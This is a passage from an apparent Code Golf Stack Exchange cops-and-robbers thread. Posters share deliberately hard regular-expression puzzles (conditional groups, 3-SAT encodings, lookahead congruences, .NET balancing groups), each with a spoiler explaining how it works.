)..(.)...{30}.(?!\91|\92|\93).{10}|....(.).(.).(.)...{31}.(?!\94|\95|\96).{9}|...(.)..(.)(.)....{32}.(?!\97|\98|\99).{8}|..(.)..(.)..(.)...{33}.(?!\100|\101|\102).{7}|..(.).(.)(.)......{34}.(?!\103|\104|\105).{6}|..(.)(.)..(.).....{35}.(?!\106|\107|\108).{5}|.(.).....(.)(.)...{36}.(?!\109|\110|\111).{4}|..(.)....(.)(.)...{37}.(?!\112|\113|\114).{3}|...(.)..(.)...(.).{38}.(?!\115|\116|\117).{2}|....(.)(.)....(.).{39}.(?!\118|\119|\120).{1})$ ``` Like all previous submissions, it resolves instantaneously. Unlike previous submissions, it's too long for RegExr. Expanded: ``` [^a-f]| ^(?: .{0,51}| .{53,}| .{11}.(?!d).{40}| .{12}.(?!a).{39}| .{13}.(?!a).{38}| .{14}.(?!f).{37}| .{15}.(?!d).{36}| .{16}.(?!a).{35}| .{17}.(?!d).{34}| .{18}.(?!c).{33}| .{19}.(?!f).{32}| .{20}.(?!d).{31}| .{21}.(?!d).{30}| .{22}.(?!d).{29}| .{23}.(?!f).{28}| .{24}.(?!d).{27}| .{25}.(?!b).{26}| .{26}.(?!f).{25}| .{27}.(?!f).{24}| .{28}.(?!e).{23}| .{29}.(?!c).{22}| .{30}.(?!c).{21}| .{31}.(?!b).{20}| .{32}.(?!d).{19}| .{33}.(?!e).{18}| .{34}.(?!c).{17}| .{35}.(?!a).{16}| .{36}.(?!a).{15}| .{37}.(?!e).{14}| .{38}.(?!b).{13}| .{39}.(?!f).{12}| .{40}.(?!d).{11}| .{41}.(?!f).{10}| .{42}.(?!c).{9}| .{43}.(?!f).{8}| .{44}.(?!e).{7}| .{45}.(?!c).{6}| .{46}.(?!b).{5}| .{47}.(?!b).{4}| .{48}.(?!f).{3}| .{49}.(?!a).{2}| .{50}.(?!d).{1}| ....(.)(.)(.).....(?!\1|\2|\3).{40}| .(.).(.)..(.).....{1}.(?!\4|\5|\6).{39}| ...(.)(.).....(.).{2}.(?!\7|\8|\9).{38}| ......(.)(.).(.)..{3}.(?!\10|\11|\12).{37}| ....(.)(.)(.).....{4}.(?!\13|\14|\15).{36}| ..(.)(.)(.).......{5}.(?!\16|\17|\18).{35}| (.).(.)......(.)..{6}.(?!\19|\20|\21).{34}| ..(.).....(.).(.).{7}.(?!\22|\23|\24).{33}| (.)..(.)(.).......{8}.(?!\25|\26|\27).{32}| ...(.).....(.)(.).{9}.(?!\28|\29|\30).{31}| .(.)(.).....(.)...{10}.(?!\31|\32|\33).{30}| .(.)...(.)..(.)...{11}.(?!\34|\35|\36).{29}| (.)(.).....(.)....{12}.(?!\37|\38|\39).{28}| ...(.).(.).(.)....{13}.(?!\40|\41|\42).{27}| ..(.)(.)..(.).....{14}.(?!\43|\44|\45).{26}| (.).(.)....(.)....{15}.(?!\46|\47|\48).{25}| (.)..(.)...(.)....{16}.(?!\49|\50|\51).{24}| (.)(.)(.).........{17}.(?!\52|\53|\54).{23}| .(.)..(.)(.)......{18}.(?!\55|\56|\57).{22}| (.)...(.)..(.)....{19}.(?!\58|\59|\60).{21}| .......(.)(.)(.)..{20}.(?!\61|\62|\63).{20}| .(.).....(.).(.)..{21}.(?!\64|\65|\66).{19}| ..(.)..(.)...(.)..{22}.(?!\67|\68|\69).{18}| ..(.).(.).....(.).{23}.(?!\70|\71|\72).{17}| ...(.).(.)..(.)...{24}.(?!\73|\74|\75).{16}| .(.)(.)(.)........{25}.(?!\76|\77|\78).{15}| (.).(.).....(.)...{26}.(?!\79|\80|\81).{14}| .....(.)..(.).(.).{27}.(?!\82|\83|\84).{13}| (.).(.).(.).......{28}.(?!\85|\86|\87).{12}| ..(.)...(.)..(.)..{29}.(?!\88|\89|\90).{11}| (.)....(.)..(.)...{30}.(?!\91|\92|\93).{10}| ....(.).(.).(.)...{31}.(?!\94|\95|\96).{9}| ...(.)..(.)(.)....{32}.(?!\97|\98|\99).{8}| ..(.)..(.)..(.)...{33}.(?!\100|\101|\102).{7}| ..(.).(.)(.)......{34}.(?!\103|\104|\105).{6}| ..(.)(.)..(.).....{35}.(?!\106|\107|\108).{5}| .(.).....(.)(.)...{36}.(?!\109|\110|\111).{4}| ..(.)....(.)(.)...{37}.(?!\112|\113|\114).{3}| ...(.)..(.)...(.).{38}.(?!\115|\116|\117).{2}| ....(.)(.)....(.).{39}.(?!\118|\119|\120).{1} )$ ``` [Answer] # Python flavour (721 bytes) [cracked] It's time for "Parsing Problem v2": ``` ^(((?(8)S)(((?(9)I|\\)(?(3)\]|Z)((?(7)l|R)(((((((?(4)p)((?(7)x)(?(1)B|Z)(?(11)\()(?(9)X)(?(8)P|T)(?(6)a|E)((?(5)E)(((?(8)3|\[)((?(3)\(|1)((?(1)M|L)(?(3)v|b)(?(2)t|l)(?(1)q)(?(1)K|H)(?(2)\)|R)(?(3)O|K)(?(5)l|l)(((?(2)\[|3)((?(2)N)((?(2)\\)((?(1)E|\])(?(1)\[)([(?(1)Q)])(?(24)\[)(?(24)q))(?(24)g))(?(22)s|U)(?(22)H)(?(23)c|U))(?(24)Q)(?(24)Q)(?(24)H)(?(23)K|\[))(?(22)e|y))(?(24)\\)(?(21)P|4)(?(19)T)(?(24)\))))(?(24)M)(?(17)\()(?(24)2))(?(19)7)(?(21)t|X)(?(22)v))(?(24)\[)(?(19)A|L)(?(16)E|1))(?(19)1|c)(?(14)K|\\)(?(19)4|5)(?(24)\\)(?(20)r)))(?(24)B)(?(24)w)(?(24)5))(?(24)\())(?(24)\\))(?(24)T))(?(9)\[))(?(15)z|w))(?(24)K)\7F(?(24)m)(?(24)R))(?(24)\[))(?(24)h))(?(14)x|t)(?(3)R|M)(?(24)\])(?(24)w))(?(21)z|6)(?(16)r)()$ ``` Tested on [Regex101](http://regex101.com/#python). --- > > This regex is effectively "hide a tree in a forest". The bulk of the > regex consists of `(?(id)yes-pattern|no-pattern)` expressions, which > match the appropriate pattern depending on whether or not a group > with the specified id exists. Most of these expressions do not > contribute to the key, but some do. > > However, not-so-subtly hidden in the regex was `[(?(1):Q)]` which is > actually a *character set*, and `\7`, which requires you to keep track > of the groups somehow. Both of these will show up on any editor with > highlighting, but were meant to trip up anyone who wasn't cautious. > > > [Answer] # Python flavour (4842 bytes) [cracked] *With thanks to @COTO for ideas and advice* I liked [@COTO's 3-SAT idea](https://codegolf.stackexchange.com/a/39859/21487) so much that I thought I'd try to make my own regex based off it. I'm not that familiar with the theoretics of 3-SAT though, so I'm just going to pray to the RNG gods and hope I have enough restrictions in place. I tried to keep the regex under 5000 characters to be fair - obviously longer regexes would be impossible to crack, but they wouldn't be very fun to crack either. ``` [^01]|^(.{0,81}|.{83,}|....0.{10}1.{22}0.{43}|....0.{14}0.{35}0.{26}|....0.{16}0.{5}1.{54}|....0.{17}1.{34}0.{24}|....1.{11}0.{41}1.{23}|....1.{12}1.{27}1.{36}|....1.{22}1.{38}1.{15}|....1.{30}0.{35}1.{10}|....1.{46}0.1.{28}|....1.{6}1.{65}0....|...0....1.1.{71}|...0.{18}0.{23}0.{35}|...1.{11}1.{33}1.{32}|..0...0.{53}1.{21}|..0.{30}1.{17}0.{30}|..1.{41}0.{10}0.{26}|.0.{13}0.{39}1.{26}|.0.{18}0.{49}0.{11}|.0.{27}1.{36}0.{15}|.0.{31}11.{47}|.00.{37}1.{41}|.1.{32}0.{31}1.{15}|.1.{38}0.{25}0.{15}|.1.{7}0.{38}0.{33}|.{10}0.{14}0.{15}0.{40}|.{10}0.{15}1.{15}1.{39}|.{10}0.{27}1.{11}1.{31}|.{10}0.{39}0.{7}0.{23}|.{10}0.{42}10.{27}|.{10}0.{9}0.{38}0.{22}|.{10}1.{45}1.{16}0.{8}|.{10}1.{47}0.{15}0.{7}|.{10}1.{59}0.{5}1.{5}|.{11}0.{11}0.{54}0...|.{11}0.{29}1.{35}0....|.{11}1.{32}0.{25}1.{11}|.{11}1.{48}1.{6}1.{14}|.{11}11.{50}1.{18}|.{12}0.{27}1.{18}0.{22}|.{12}0.{45}1.{7}1.{15}|.{12}1.{15}0.{42}1.{10}|.{13}0.{40}1...0.{23}|.{13}1.{20}1.{5}1.{41}|.{13}1.{22}0.{31}0.{13}|.{13}1.{24}1.{39}1...|.{13}1.{58}0.{8}0|.{14}0.{22}0....1.{39}|.{14}0.{23}0.{23}1.{19}|.{14}0.{53}10.{12}|.{14}1.{19}1.{11}0.{35}|.{14}1.{19}1.{21}1.{25}|.{14}1.{23}0.{14}0.{28}|.{14}1.{24}1.{12}1.{29}|.{14}1.{35}0.{22}0.{8}|.{14}1.{48}0.{15}1..|.{14}1.{58}0....1...|.{14}1.{65}11|.{14}1.{6}1.0.{58}|.{15}0...01.{61}|.{15}0.{12}0.{30}0.{22}|.{15}0.{15}0.{34}0.{15}|.{15}0.{30}1.{25}0.{9}|.{15}0.{31}0.{32}1.|.{15}0.{36}0.{25}1...|.{15}1.{14}1.{21}1.{29}|.{15}1.{16}1.{16}1.{32}|.{15}1.{20}0.{32}1.{12}|.{16}0.{35}1.{24}0....|.{16}0.{36}1.{15}1.{12}|.{16}1.{13}1.{22}0.{28}|.{16}1.{16}1.{14}0.{33}|.{16}1.{48}1.0.{14}|.{17}1.{29}1.{31}0..|.{17}1.{47}1.{8}0.{7}|.{17}1.{9}0.{20}0.{33}|.{18}0..0.{59}1|.{18}0.{33}1.{6}0.{22}|.{18}0.{36}1.{24}1.|.{18}0.{39}0.{17}1.{5}|.{18}1..0.{35}0.{24}|.{18}1.{16}0.{7}1.{38}|.{19}0.{17}0.{8}1.{35}|.{19}1.{42}00.{18}|.{20}0.{25}1.{31}1...|.{20}0.{43}1.{12}0....|.{20}0.{8}1.{40}0.{11}|.{20}00.{56}1...|.{20}1.{38}0.{7}1.{14}|.{21}0.{39}1.{16}0...|.{22}1....0.{44}1.{9}|.{22}1..1.{20}1.{35}|.{23}0.{39}1.{8}0.{9}|.{23}0.{8}1.{41}1.{7}|.{23}1.{18}1.{25}0.{13}|.{23}1.{20}0.{6}0.{30}|.{24}0.{17}1.{16}0.{22}|.{24}0.{21}1.{13}0.{21}|.{24}1...1.{49}0...|.{24}1.{5}0.{37}0.{13}|.{24}1.{8}1.{37}0.{10}|.{25}0.{36}0....0.{14}|.{25}1....0.{29}0.{21}|.{25}1....1.{10}1.{40}|.{25}1.{13}1.{13}0.{28}|.{25}1.{40}0.{7}0.{7}|.{26}0.{13}1.{21}0.{19}|.{26}0.{13}1.{25}1.{15}|.{27}0.{20}1.{11}0.{21}|.{27}0.{36}0.{6}0.{10}|.{27}1....1.0.{47}|.{27}1...0.{13}1.{36}|.{27}1.{10}0.{26}0.{16}|.{27}1.{30}1.{15}0.{7}|.{28}0.{14}1.{37}0|.{28}0.{21}1.0.{29}|.{28}0.{26}0.{16}0.{9}|.{28}1.{18}1.{23}1.{10}|.{29}0.{17}0.0.{32}|.{29}1.{24}0.{19}1.{7}|.{29}1.{46}1....0|.{30}1.{18}1.{9}0.{22}|.{30}1.{28}0....1.{17}|.{32}0.{25}1.{6}1.{16}|.{33}0.{22}1.{12}0.{12}|.{33}0.{6}0.{11}0.{29}|.{33}1.{5}1.{31}0.{10}|.{34}0.{13}0.{8}0.{24}|.{34}1...1.{35}0.{7}|.{34}1..1.{29}1.{14}|.{34}1.{38}01.{7}|.{34}1.{5}0.{40}1|.{34}1.{6}1.{38}1.|.{34}1.{7}0.{31}0.{7}|.{34}11...1.{42}|.{35}0.{19}0..0.{23}|.{35}1.{12}1.{24}0.{8}|.{36}0.{6}1.{17}1.{20}|.{36}0.{7}1.{17}1.{19}|.{36}0.{8}0.{13}1.{22}|.{36}1.{14}0.{9}1.{20}|.{37}0.{26}1.{16}0|.{37}1.{27}0.{10}0.{5}|.{38}1.{21}1.{7}1.{13}|.{39}0..0.{20}0.{18}|.{39}0.{15}0.{19}1.{6}|.{40}0....0.{28}1.{7}|.{40}0.{15}1.0.{23}|.{40}0.{5}1.{16}0.{18}|.{40}0.{8}1.{29}1..|.{40}00.0.{38}|.{41}0.0.{20}0.{17}|.{41}00.{32}0.{6}|.{41}1.{16}1.{21}1.|.{41}1.{8}1.{18}0.{12}|.{42}1.{31}1.{6}1|.{42}11.{27}0.{10}|.{43}0.{34}10..|.{44}1.0.{10}1.{24}|.{45}0.{9}0.{5}0.{20}|.{45}1.{12}0.{22}1|.{45}1.{17}1....0.{13}|.{45}1.{9}0...0.{22}|.{46}0.{11}1.{19}1...|.{46}1.{24}0.{5}0....|.{47}11.{8}1.{24}|.{48}0.{12}1....0.{15}|.{48}0.{15}0.{13}1...|.{48}1...0.{13}0.{15}|.{48}1.{11}0..0.{18}|.{48}11.{21}0.{10}|.{49}1.{7}1.{14}0.{9}|.{51}1.{12}1.{5}1.{11}|.{54}0.{13}0.{6}1.{6}|.{54}1.{11}1.1.{13}|.{56}0.{16}0..1.{5}|.{56}1.{11}0.{6}0.{6}|.{58}1....1.{6}0.{11}|.{5}0.{17}0.{42}0.{15}|.{5}0.{23}1.{26}1.{25}|.{5}0.{34}1.{22}0.{18}|.{5}0.{6}1.{13}1.{55}|.{5}1.{12}0.{31}1.{31}|.{5}1.{16}0.{39}1.{19}|.{5}1.{16}1.1.{57}|.{5}1.{24}1.{15}1.{35}|.{5}1.{24}1.{47}1...|.{66}0.0.{5}1.{7}|.{6}0....1.{24}0.{45}|.{6}0.{19}0.{7}1.{47}|.{6}0.{23}0.{14}0.{36}|.{6}0.{25}1.{41}0.{7}|.{6}0.{46}1.{22}0.{5}|.{6}0.{52}11.{21}|.{6}1.{35}10.{38}|.{7}0.{20}0.{16}0.{36}|.{7}0.{34}1.{20}1.{18}|.{7}0.{6}0.{36}0.{30}|.{7}0.{7}0.{15}0.{50}|.{7}0.{8}1.{42}1.{22}|.{7}1.{5}1.{56}1.{11}|.{7}1.{67}0..1...|.{8}0.{10}0.{38}0.{23}|.{8}0.{41}11.{30}|.{8}0.{9}1.{37}1.{25}|.{8}1.{50}1.{14}1.{7}|.{9}0..1.{55}0.{13}|.{9}0.{21}1.{42}0.{7}|.{9}0.{59}00.{11}|.{9}0.{9}0....1.{57}|.{9}00.{41}1.{29}|.{9}1....0.{20}0.{46}|.{9}1...0.{41}1.{26}|.{9}1.{30}0.{16}1.{24}|.{9}1.{30}0.{37}1...|.{9}1.{30}1.{14}1.{26}|.{9}1.{40}01.{30}|0.{17}1.{34}0.{28}|0.{23}1.{43}1.{13}|0.{30}1.{26}1.{23}|1.{13}00.{66}|1.{28}0.{42}1.{9}|1.{36}0.{35}1.{8}|1.{42}1.{32}1.{5}|1.{49}0.{16}0.{14}|1.{52}0.{7}0.{20}|)$ ``` And here it is in a form that's a bit easier to read: ``` [^01]| ^( .{0,81}| .{83,}| ....0.{10}1.{22}0.{43}| ....0.{14}0.{35}0.{26}| ....0.{16}0.{5}1.{54}| ....0.{17}1.{34}0.{24}| ....1.{11}0.{41}1.{23}| ....1.{12}1.{27}1.{36}| ....1.{22}1.{38}1.{15}| ....1.{30}0.{35}1.{10}| ....1.{46}0.1.{28}| ....1.{6}1.{65}0....| ...0....1.1.{71}| ...0.{18}0.{23}0.{35}| ...1.{11}1.{33}1.{32}| ..0...0.{53}1.{21}| ..0.{30}1.{17}0.{30}| ..1.{41}0.{10}0.{26}| .0.{13}0.{39}1.{26}| .0.{18}0.{49}0.{11}| .0.{27}1.{36}0.{15}| .0.{31}11.{47}| .00.{37}1.{41}| .1.{32}0.{31}1.{15}| .1.{38}0.{25}0.{15}| .1.{7}0.{38}0.{33}| .{10}0.{14}0.{15}0.{40}| .{10}0.{15}1.{15}1.{39}| .{10}0.{27}1.{11}1.{31}| .{10}0.{39}0.{7}0.{23}| .{10}0.{42}10.{27}| .{10}0.{9}0.{38}0.{22}| .{10}1.{45}1.{16}0.{8}| .{10}1.{47}0.{15}0.{7}| .{10}1.{59}0.{5}1.{5}| .{11}0.{11}0.{54}0...| .{11}0.{29}1.{35}0....| .{11}1.{32}0.{25}1.{11}| .{11}1.{48}1.{6}1.{14}| .{11}11.{50}1.{18}| .{12}0.{27}1.{18}0.{22}| .{12}0.{45}1.{7}1.{15}| .{12}1.{15}0.{42}1.{10}| .{13}0.{40}1...0.{23}| .{13}1.{20}1.{5}1.{41}| .{13}1.{22}0.{31}0.{13}| .{13}1.{24}1.{39}1...| .{13}1.{58}0.{8}0| .{14}0.{22}0....1.{39}| .{14}0.{23}0.{23}1.{19}| .{14}0.{53}10.{12}| .{14}1.{19}1.{11}0.{35}| .{14}1.{19}1.{21}1.{25}| .{14}1.{23}0.{14}0.{28}| .{14}1.{24}1.{12}1.{29}| .{14}1.{35}0.{22}0.{8}| .{14}1.{48}0.{15}1..| .{14}1.{58}0....1...| .{14}1.{65}11| .{14}1.{6}1.0.{58}| .{15}0...01.{61}| .{15}0.{12}0.{30}0.{22}| .{15}0.{15}0.{34}0.{15}| .{15}0.{30}1.{25}0.{9}| .{15}0.{31}0.{32}1.| .{15}0.{36}0.{25}1...| .{15}1.{14}1.{21}1.{29}| .{15}1.{16}1.{16}1.{32}| .{15}1.{20}0.{32}1.{12}| .{16}0.{35}1.{24}0....| .{16}0.{36}1.{15}1.{12}| .{16}1.{13}1.{22}0.{28}| .{16}1.{16}1.{14}0.{33}| .{16}1.{48}1.0.{14}| .{17}1.{29}1.{31}0..| .{17}1.{47}1.{8}0.{7}| .{17}1.{9}0.{20}0.{33}| .{18}0..0.{59}1| .{18}0.{33}1.{6}0.{22}| .{18}0.{36}1.{24}1.| .{18}0.{39}0.{17}1.{5}| .{18}1..0.{35}0.{24}| .{18}1.{16}0.{7}1.{38}| .{19}0.{17}0.{8}1.{35}| .{19}1.{42}00.{18}| .{20}0.{25}1.{31}1...| .{20}0.{43}1.{12}0....| .{20}0.{8}1.{40}0.{11}| .{20}00.{56}1...| .{20}1.{38}0.{7}1.{14}| .{21}0.{39}1.{16}0...| .{22}1....0.{44}1.{9}| .{22}1..1.{20}1.{35}| .{23}0.{39}1.{8}0.{9}| .{23}0.{8}1.{41}1.{7}| .{23}1.{18}1.{25}0.{13}| .{23}1.{20}0.{6}0.{30}| .{24}0.{17}1.{16}0.{22}| .{24}0.{21}1.{13}0.{21}| .{24}1...1.{49}0...| .{24}1.{5}0.{37}0.{13}| .{24}1.{8}1.{37}0.{10}| .{25}0.{36}0....0.{14}| .{25}1....0.{29}0.{21}| .{25}1....1.{10}1.{40}| .{25}1.{13}1.{13}0.{28}| .{25}1.{40}0.{7}0.{7}| .{26}0.{13}1.{21}0.{19}| .{26}0.{13}1.{25}1.{15}| .{27}0.{20}1.{11}0.{21}| .{27}0.{36}0.{6}0.{10}| .{27}1....1.0.{47}| .{27}1...0.{13}1.{36}| .{27}1.{10}0.{26}0.{16}| .{27}1.{30}1.{15}0.{7}| .{28}0.{14}1.{37}0| .{28}0.{21}1.0.{29}| .{28}0.{26}0.{16}0.{9}| .{28}1.{18}1.{23}1.{10}| .{29}0.{17}0.0.{32}| .{29}1.{24}0.{19}1.{7}| .{29}1.{46}1....0| .{30}1.{18}1.{9}0.{22}| .{30}1.{28}0....1.{17}| .{32}0.{25}1.{6}1.{16}| .{33}0.{22}1.{12}0.{12}| .{33}0.{6}0.{11}0.{29}| .{33}1.{5}1.{31}0.{10}| .{34}0.{13}0.{8}0.{24}| .{34}1...1.{35}0.{7}| .{34}1..1.{29}1.{14}| .{34}1.{38}01.{7}| .{34}1.{5}0.{40}1| .{34}1.{6}1.{38}1.| .{34}1.{7}0.{31}0.{7}| .{34}11...1.{42}| .{35}0.{19}0..0.{23}| .{35}1.{12}1.{24}0.{8}| .{36}0.{6}1.{17}1.{20}| .{36}0.{7}1.{17}1.{19}| .{36}0.{8}0.{13}1.{22}| .{36}1.{14}0.{9}1.{20}| .{37}0.{26}1.{16}0| .{37}1.{27}0.{10}0.{5}| .{38}1.{21}1.{7}1.{13}| .{39}0..0.{20}0.{18}| .{39}0.{15}0.{19}1.{6}| .{40}0....0.{28}1.{7}| .{40}0.{15}1.0.{23}| .{40}0.{5}1.{16}0.{18}| .{40}0.{8}1.{29}1..| .{40}00.0.{38}| .{41}0.0.{20}0.{17}| .{41}00.{32}0.{6}| .{41}1.{16}1.{21}1.| .{41}1.{8}1.{18}0.{12}| .{42}1.{31}1.{6}1| .{42}11.{27}0.{10}| .{43}0.{34}10..| .{44}1.0.{10}1.{24}| .{45}0.{9}0.{5}0.{20}| .{45}1.{12}0.{22}1| .{45}1.{17}1....0.{13}| .{45}1.{9}0...0.{22}| .{46}0.{11}1.{19}1...| .{46}1.{24}0.{5}0....| .{47}11.{8}1.{24}| .{48}0.{12}1....0.{15}| .{48}0.{15}0.{13}1...| .{48}1...0.{13}0.{15}| .{48}1.{11}0..0.{18}| .{48}11.{21}0.{10}| .{49}1.{7}1.{14}0.{9}| .{51}1.{12}1.{5}1.{11}| .{54}0.{13}0.{6}1.{6}| .{54}1.{11}1.1.{13}| .{56}0.{16}0..1.{5}| .{56}1.{11}0.{6}0.{6}| .{58}1....1.{6}0.{11}| .{5}0.{17}0.{42}0.{15}| .{5}0.{23}1.{26}1.{25}| .{5}0.{34}1.{22}0.{18}| .{5}0.{6}1.{13}1.{55}| .{5}1.{12}0.{31}1.{31}| .{5}1.{16}0.{39}1.{19}| .{5}1.{16}1.1.{57}| .{5}1.{24}1.{15}1.{35}| .{5}1.{24}1.{47}1...| .{66}0.0.{5}1.{7}| .{6}0....1.{24}0.{45}| .{6}0.{19}0.{7}1.{47}| .{6}0.{23}0.{14}0.{36}| .{6}0.{25}1.{41}0.{7}| .{6}0.{46}1.{22}0.{5}| .{6}0.{52}11.{21}| .{6}1.{35}10.{38}| .{7}0.{20}0.{16}0.{36}| .{7}0.{34}1.{20}1.{18}| .{7}0.{6}0.{36}0.{30}| .{7}0.{7}0.{15}0.{50}| .{7}0.{8}1.{42}1.{22}| .{7}1.{5}1.{56}1.{11}| .{7}1.{67}0..1...| .{8}0.{10}0.{38}0.{23}| .{8}0.{41}11.{30}| .{8}0.{9}1.{37}1.{25}| .{8}1.{50}1.{14}1.{7}| .{9}0..1.{55}0.{13}| .{9}0.{21}1.{42}0.{7}| .{9}0.{59}00.{11}| .{9}0.{9}0....1.{57}| .{9}00.{41}1.{29}| .{9}1....0.{20}0.{46}| .{9}1...0.{41}1.{26}| .{9}1.{30}0.{16}1.{24}| .{9}1.{30}0.{37}1...| .{9}1.{30}1.{14}1.{26}| .{9}1.{40}01.{30}| 0.{17}1.{34}0.{28}| 0.{23}1.{43}1.{13}| 0.{30}1.{26}1.{23}| 1.{13}00.{66}| 1.{28}0.{42}1.{9}| 1.{36}0.{35}1.{8}| 1.{42}1.{32}1.{5}| 1.{49}0.{16}0.{14}| 1.{52}0.{7}0.{20}| )$ ``` Tested on [Regex101](http://regex101.com/#python). --- > > The regex is looking for an 82-character string `S` of 0s and 1s. It > performs a large number checks of the form (after applying de > Morgan's) `S[index1] != digit1` OR `S[index2] != digit2` OR `S[index3] != digit3`, > which make up the 3-SAT clauses. The regex size is > linear in the number of clues, and logarithmic in the > number of characters in the key (due to the `.{n}` notation). > Unfortunately though, to be secure the number of clues has to go up > with the size of the key, and while it's certainly possible to make an > uncrackable key this way, it would end up being quite a long regex. > > > [Answer] ## Perl flavor, 133 [cracked] Okay, this one *should* be harder to brute force: ``` ^([^,]{2,}),([^,]{2,}),([^,]{2,}),(?=.\2+,)(?=.\3+,)\1+,(?=.\1+,)(?=.\3+,)\2+,(?=.\1+,)(?=.\2+,)\3+,(?=.{16,20}$)(\1{3}|\2{3}|\3{3})$ ``` And a longer version, not part of the challenge: ``` ^([^,]{3,}),([^,]{3,}),([^,]{3,}),([^,]{3,}),([^,]{3,}),([^,]{3,}),(?=.\2+,)(?=.\3+,)(?=.\4+,)(?=.\5+,)(?=.\6+,)\1+,(?=.\1+,)(?=.\3+,)(?=.\4+,)(?=.\5+,)(?=.\6+,)\2+,(?=.\1+,)(?=.\2+,)(?=.\4+,)(?=.\5+,)(?=.\6+,)\3+,(?=.\1+,)(?=.\2+,)(?=.\3+,)(?=.\5+,)(?=.\6+,)\4+,(?=.\1+,)(?=.\2+,)(?=.\3+,)(?=.\4+,)(?=.\6+,)\5+,(?=.\1+$)(?=.\2+$)(?=.\3+$)(?=.\4+$)(?=.\5+$)\6+$ ``` --- Can be tested on [Regex101](http://regex101.com/) (pcre flavor). --- > > The idea behind this pattern is that we can encode a simple system of > congruence equations in a regex using lookaheads. For example, the > regex `^(?=(..)*$)(...)*$` matches any string whose length is a common > multiple of *2* and *3*, that is, a multiple of *6*. This can be seen > as the equation *2x ≡ 0 mod 3*. We can parameterize the equation using > capture groups: the regex `^(.*),(.*),(?=\1*$)\2*$` matches strings > where the number of characters after the last comma is a common > multiple of the length of the first and second submatches. This can be > seen as the parameterized equation *ax ≡ 0 mod b*, where *a* and *b* > are the lengths of the two submatches. > > The above regex begins > by taking three "parameters" of length at least two, and is followed > by three "systems of equations" of the from `(?=.\1+,)(?=.\2+,)\3+,` that > correspond to *{ax + 1 ≡ 0 mod c, by + 1 ≡ 0 mod c, ax = by}*, where > *a*, *b* and *c* are the lengths of the corresponding submatches. This system of equations has a solution if and only if *a* and *b* are > coprime to *c*. Since we have three such systems, one for each > submatch, the lengths of the submatches must be pairwise coprime. > > > The last part of the regex is there to ensure that one of the > submatches is of length *6*. This forces the other two submatches to > be *5* and *7* characters long, since any smaller values won't be > coprime and any larger values will result in a key longer than 256 > characters. The smallest solutions to the equations then yield > substrings of lengths *85*, *36* and *91*, which result in a string of length 254---about as long as we can get. > > The longer regex > uses the same principle, only with 6 parameters of length at least three > and no additional restrictions. The smallest pairwise coprime set of > six integers greater than *2* is *{3, 4, 5, 7, 11, 13}*, which yields > substrings of minimal lengths *40041, 15016, 24025, 34321, 43681 and 23101*. Therefore, > the shortest string that matches the longer regex is > `a{3},a{4},a{5},a{7},a{11},a{13},a{40041},a{15016},a{24025},a{34321},a{43681},a{23101}` > (up to the order of parameters.) That's 180,239 characters! > > > [Answer] ## .NET flavour, 141 bytes [cracked] ``` (?=(?<![][])(?(c)(?!))((?<c>[[])|(?<-c>[]])){15,}(?(c)(?!))(?![][]))^.*$(?<=(?<![][])(?(c)(?!))((?<c>[[])|(?<-c>[]])){15,}(?(c)(?!))(?![][])) ``` Another one for the robbers! I'm sure this will be cracked, but I hope the person cracking it will learn something interesting about the .NET flavour in the process. Tested on [RegexStorm](http://regexstorm.net/tester) and [RegexHero](http://regexhero.net/tester/). > > I figured this one would be interesting because it relies on the interplay of all three landmark regex features that you can only find in .NET: variable-length lookbehinds, balancing groups, and right-to-left matching. > > > Before we start into the .NET-specifics, let's clear up a simple thing about character classes. Character classes can't be empty, so if one starts with a `]`, that is actually part of the class without needing to be escaped. Likewise, a `[` in a character class can unambiguously be treated as a member of the class without escaping. So `[]]` is just the same matching a single `\]`, and `[[]` is the same as `\[` and more importantly `[][]` is a character class containing both brackets. > > > Now let's look at the structure of the regex: `(?=somePattern)^.*$(?<=somePattern)`. So the actual match is really anything (the `^.*$`) but we apply one pattern twice, anchoring it to the start once and to the end once. > > > Let's look at that pattern: `(?<![][])` makes sure that there's no bracket before the pattern. `(?![][])` (at the end) makes sure that there's no bracket after pattern. This is fulfilled at the ends of a string or adjacent to any other character. > > This thing, `(?(c)(?!))`, at the beginning is actually redundant for now, because it only makes sure that the named capturing group `c` hasn't matched anything. We *do* need this at the end, so at least it's nice and symmetric. Now the main part of the pattern is this: `((?<c>[[])|(?<-c>[]])){15,}(?(c)(?!))`. These groups are called balancing groups, and what they do here is match a string of at least 15 *balanced* square brackets. There's a lot to say about balancing groups - too much for this post, but I can refer you to a rather comprehensive discussion [I posted on StackOverflow](https://stackoverflow.com/questions/17003799/what-are-regular-expression-balancing-groups/17004406#17004406) a while ago. > > > Okay, so what the lookahead does is to ensure that the pattern starts with those balanced square brackets - and that there are no further square brackets next to that. > > > Now the lookbehind at the end contains exactly the same pattern. So shouldn't this be redundant? Shouldn't something like `[][][][][][][][]` fulfil both lookarounds and cause the pattern to match? > > > No. Because here is where it gets tricky. Although undocumented, .NET lookbehinds are matched *from right to left*. This is why .NET is the only flavour that supports variable-length lookbehinds. Usually you don't notice this because the order of matching is irrelevant. But in this particular case, it means that the opening square brackets must now come *to the right* of the closing square brackets. So the lookbehind actually checks for anti-matching square brackets, as in `][][][` or `]]][[[`. That's why I also need the check `(?(c)(?!))` at the beginning of the pattern, because that's now the end of match. > > > So we want 15 (or 16) matching brackets at the beginning of the string and 15 (or 16) anti-matching brackets at the end of the string. But those two can't be connected due to the `(?![][])` lookarounds. So what do we do? We take a matching string and an anti-matching string and join them with an arbitrary character, giving for instance `[][][][][[[[]]]]!][][][][]]]][[[[`. > > > I guess that leaves one question... how on earth did I figure out that lookbehinds match from right to left? Well I tried some arcane regex magic once and couldn't figure out why my lookbehind wouldn't work. So I asked [the friendly Q&A site next door](https://stackoverflow.com/questions/13389560/balancing-groups-in-variable-length-lookbehind). Now I'm really happy about this feature, because it makes balancing groups even more powerful if you know how to use them right. :) > > > [Answer] # Python flavour (200127 bytes) [cracked] Just so that we may (hopefully) see something last a day, it's time to bring out the big guns :) The problem with 3-SAT and Hamiltonian path is that the complexity is in terms of the key size. This time I've chosen something which is dependent on the regex, rather than the key. Here it is: [regex](http://pastebin.com/raw.php?i=LQDvFLyE). You might also find [this file](http://pastebin.com/raw.php?i=3dUfvnVz) useful. (Don't worry, I haven't hidden anything weird in there this time ;) ) I used [RegexPlanet](http://www.regexplanet.com/advanced/python/index.html) to test this one - it was tough finding something that wouldn't time out :/. To check if there was a match, see if your string appears under `findall()`. Good luck! --- > > The regex is just "find a string of length 64 which appears as a common subsequence in a set of 20 strings of length 5000". There were too many solutions though, probably. > > > [Answer] # 